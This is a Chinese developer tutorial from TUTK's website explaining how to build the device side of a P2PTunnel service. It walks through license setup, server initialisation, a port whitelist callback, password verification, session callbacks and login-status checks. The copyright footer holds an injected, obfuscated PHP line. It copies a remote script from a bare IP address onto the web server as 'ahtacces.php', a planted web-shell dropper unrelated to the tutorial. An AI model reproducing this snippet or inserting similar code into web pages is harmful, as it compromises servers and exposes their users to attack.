简体中文

基于P2PTunnelAPIs和TCPIP协议开发NAS(或者摄像头)-设备端

导语

TUTK提供的P2PTunnel服务,类似于vpn服务。P2PTunnel服务启动后,将通过TUTK的私有协议,将上层传入的数据转发到对端,而且不需要知道对端的IP。

P2PTunnel模块,可以内嵌至厂商的程序内,也可以独立做成一个模块。对于一些基于TCP/IP的标准或者私有服务,比如http、ssh、ftp、telnet、rtsp,只需要简单几行代码,就可以完成接入。

P2PTunnel模块工作示意图

截图.png

P2PTunnelServer使用流程图

截图.png

例子代码分析

Server的初始化:

ret = TUTK_SDK_Set_License_Key(sdk_license_key);//sdk license key由tutk提供
if (ret != TUTK_ER_NoERROR) {
    printf("TUTK_SDK_Set_License_Key() error[%d]!\n", ret);
    return -1;
}

#if _USE_SDK_VERSION_BELOW_4_3_5_0_
    ret = P2PTunnelServerInitialize(MAX_CONNECTION);//参数为允许的最大访客数
    if (ret != TUNNEL_ER_NoERROR) {
        printf("P2PTunnelServerInitialize() error[%d]!\n", ret);
        return -1;
    }
#else
    ret = P2PTunnelServerInitialize2(MAX_CONNECTION,1);//第一个参数为允许的最大访客数,第二个参数填1表示打开局域网直连,可以大幅提升局域网模式的速度(需注意这种模式局域网内将不做加密,且客户端端需同时设定为1,开启直连模式)
    if (ret != TUNNEL_ER_NoERROR) {
        printf("P2PTunnelServerInitialize() error[%d]!\n", ret);
        return -1;
    }
#endif

P2PTunnelServer_GetStatus(TunnelStatusCB, (void *)args); //连接状态回调,如果访客退出访问,状态变更将通过TunnelStatusCB抛出。
Server的初始化,只需要在程序开始调用一次。

端口白名单回调注册[可选]

//回调定义,对于需要放行的端口,返回0,其他返回-1。
#define WEB_SERVICE_PORT 80
#define SSH_SERVICE_PORT 22
#define TELNET_SERVICE_PORT 23
int TunnelPortVerifyCB(uint16_t nServicePort, const void *pArg){
    int ret = 0;
    switch (nServicePort) {
    case WEB_SERVICE_PORT:
    case SSH_SERVICE_PORT:
    case TELNET_SERVICE_PORT:
        printf("[%s] port[%d] pass\n", __func__, nServicePort);
        break;
    default:
        printf("[%s] port[%d] reject\n", __func__, nServicePort);
        ret = -1;
        break;
    }
    return ret;
}

//注册端口检查回调函数
int ret = P2PTunnelServer_Register_Port_Verify(TunnelPortVerifyCB, NULL);
if (ret != TUNNEL_ER_NoERROR) {
    printf("P2PTunnelServer_Register_Port_Verify() error[%d]!\n", ret);
    return -1;
}

启动Tunnel Server:

ret = P2PTunnelServer_Start_Ex(gUid, TunnelServerAuthentication, TunnelSessionInfoExCB, args);
if (ret != TUNNEL_ER_NoERROR) {
    printf("P2PTunnelServer_Start_Ex() error[%d]!\n", ret);
    return -1;
} else {
    printf("P2PTunnelServer_Start_Ex() Success, I can connected by Internet.\n");
}
启动server的参数里面,一个是验证账密的回调,一个是连接状态信息的回调。
账密验证验证:
void TunnelServerAuthentication(const char *cszAccount, char *cszPassword, uint32_t nPasswordMaxLength, const void *pArg) {
    printf("[%s] cszAccount=%s, nPasswordMaxLength=%d, pArg=%s\n", __func__, cszAccount, nPasswordMaxLength, (char *)pArg);
    if (strcmp(cszAccount, TUNNEL_USERNAME) == 0) {
        strcpy(cszPassword, TUNNEL_PASSWORD);//把密码拷贝到SDK的buffer,由sdk比对client送过来的密码。
    } else {
        printf("unknow account, reject connect\n");
        // do nothing to reject connect
    }
}
连接状态的回调:
//这里可以查询到连接相关信息,比如访问者IP,端口,连线模式等等。
void TunnelSessionInfoExCB(sP2PTunnelSessionInfoEx *sSessionInfo, const void *pArg) {
    int ret = 0;
    printf("[%s]\n", __func__);
    printf("  Connection Mode = %d, NAT type = %d\n", sSessionInfo->nMode, sSessionInfo->nNatType);
    printf("  P2PTunnel Version = %X, SID = %d\n", (unsigned int)sSessionInfo->nVersion, sSessionInfo->nSID);
    printf("  IP Address = %s:%d\n", sSessionInfo->szRemoteIP, sSessionInfo->nRemotePort);
    return;
}

数据传输:

Tunnel Server启动完成后,就可以开启其他服务了,比如说http-server, ftp-server,rtsp-server,ssh-server等等。此部分因是标准服务,不再赘述。

Server的反初始化:

P2PTunnelServer_Stop();
P2PTunnelServerDeInitialize();
Server的反始化,通常只需要在程序结束时调用一次,中途如果需要重启服务,也需调用。

设备的登录状态检测:

正常情况下,设备向P2P服务器报到成功后,会维护与P2P服务器之间的心跳。但是不排除某些情况下,可能会从服务器掉线,所以可以通过IOTC_Get_LoginInfo持续检测当前的login状态。
/*
* IOTC_Get_Login_Info用以检查login状态,可以拿到两个值。
* 返回值表示 try login失败的次数
* 输出参数 login_state 为7表示正常在login,并且有收到P2P服务器回应的login response。
*/

unsigned int login_state;
int login_fail_count = 0;
while(gProcessRun){
    int ret = IOTC_Get_Login_Info(&login_state);
    printf("IOTC_Get_Login_Info() ret = %d,login_state = %u\n", ret,login_state);
    if(ret < IOTC_ER_NoERROR) {
        break;
    } 
    if(ret > 4){//此时已经有一段时间与服务器失联了,ret表示retry login失败的次数。
        if(无用户访问 && 网络畅通){ //网络畅通可以通过ping或者其他方式做测试
            printf("device logout from p2p server,will call IOTC_Listen_Exit\n");
            //进行反初始化,参考本章节反初始化部分
            break;
        }
    }
    for(int sleep_count = 0 ; sleep_count < 5 && gProcessRun ; sleep_count++)
            sleep(1);
}

FAQ:

1、P2PTunnelAPIs可以使用IOTCAPIs的API吗?
可以,参数为SID。
2、P2PTunnelAPIs可以与其他模块(AV、RDT)一起使用吗?
可以,但是会比较复杂,通常不建议一起用。
其他文章:
概论:引导
API比较:API比较
局域网设备搜索:基于IOTCAPIs的局域网设备搜索
实验1: [实验]如何基于P2PTunnelAPIs+ssh搭建一个轻NAS?
实验2:[实验]如何基于P2PTunnelAPIs+http搭建一个流媒体服务器


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部